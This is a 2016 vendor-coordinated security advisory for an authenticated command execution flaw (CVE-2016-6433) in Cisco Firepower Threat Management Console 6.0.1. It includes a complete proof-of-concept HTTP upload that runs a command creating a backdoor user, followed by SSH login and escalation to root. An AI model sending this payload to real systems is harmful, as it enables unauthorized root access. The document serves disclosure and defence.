Cisco Firepower Threat Management Console 6.0.1 - Remote Command Execution

KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command

Execution Leading to Root Access



Title: Cisco Firepower Threat Management Console Remote Command Execution

Leading to Root Access

Advisory ID: KL-001-2016-007

Publication Date: 2016.10.05

Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt





1. Vulnerability Details



     Affected Vendor: Cisco

     Affected Product: Firepower Threat Management Console

     Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)

     Platform: Embedded Linux

     CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous

     Type, CWE-94: Improper Control of Generation of Code

     Impact: Arbitrary Code Execution

     Attack vector: HTTP

     CVE-ID: CVE-2016-6433



2. Vulnerability Description



     An authenticated user can run arbitrary system commands as

     the www user which leads to root.



3. Technical Description



     A valid session and CSRF token is required.  The webserver runs as

     a non-root user which is permitted to sudo commands as root with

     no password.



     POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1

     Host: 1.3.3.7

     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)

Gecko/20100101 Firefox/45.0

     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

     Accept-Language: en-US,en;q=0.5

     Accept-Encoding: gzip, deflate, br

     DNT: 1

     Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6

     Connection: close

     Content-Type: multipart/form-data;

boundary=---------------------------15519792567789791301241925798

     Content-Length: 813



     -----------------------------15519792567789791301241925798

     Content-Disposition: form-data; name="manual_update"



     1

     -----------------------------15519792567789791301241925798

     Content-Disposition: form-data; name="source"



     file

     -----------------------------15519792567789791301241925798

     Content-Disposition: form-data; name="file";

filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh"

     Content-Type: application/octet-stream



     sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic

     -----------------------------15519792567789791301241925798

     Content-Disposition: form-data; name="action_submit"



     Import

     -----------------------------15519792567789791301241925798

     Content-Disposition: form-data; name="sf_action_id"



     8c6059ae8dbedc089877b16b7be2ae7f

     -----------------------------15519792567789791301241925798--





     HTTP/1.1 200 OK

     Date: Sat, 23 Apr 2016 13:38:01 GMT

     Server: Apache

     Vary: Accept-Encoding

     X-Frame-Options: SAMEORIGIN

     Content-Length: 49998

     Connection: close

     Content-Type: text/html; charset=utf-8



     ...



     $ ssh korelogic@1.3.3.7

     Password:



     Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.

     Cisco is a registered trademark of Cisco Systems, Inc.

     All other trademarks are property of their respective owners.



     Cisco Fire Linux OS v6.0.1 (build 37)

     Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)



     Could not chdir to home directory /Volume/home/korelogic: No such file or

directory

     korelogic@firepower:/$ sudo su -

     Password:

     root@firepower:~#



4. Mitigation and Remediation Recommendation



     The vendor has acknowledged this vulnerability but has

     not issued a fix. Vendor acknowledgement available at:



https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc



5. Credit



     This vulnerability was discovered by Matt Bergin (@thatguylevel) of

KoreLogic, Inc.



6. Disclosure Timeline



     2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.

     2016.06.30 - Cisco acknowledges receipt of vulnerability report.

     2016.07.20 - KoreLogic and Cisco discuss remediation timeline for

                  this vulnerability and for 3 others reported in the

                  same product.

     2016.08.12 - 30 business days have elapsed since the vulnerability was

                  reported to Cisco.

     2016.09.02 - 45 business days have elapsed since the vulnerability was

                  reported to Cisco.

     2016.09.09 - KoreLogic asks for an update on the status of the

                  remediation efforts.

     2016.09.15 - Cisco confirms remediation is underway and soon to be

                  completed.

     2016.09.28 - Cisco informs KoreLogic that the acknowledgement details

                  will be released publicly on 2016.10.05.

     2016.10.05 - Public disclosure.



7. Proof of Concept



     See Technical Description





The contents of this advisory are copyright(c) 2016

KoreLogic, Inc. and are licensed under a Creative Commons

Attribution Share-Alike 4.0 (United States) License:

http://creativecommons.org/licenses/by-sa/4.0/



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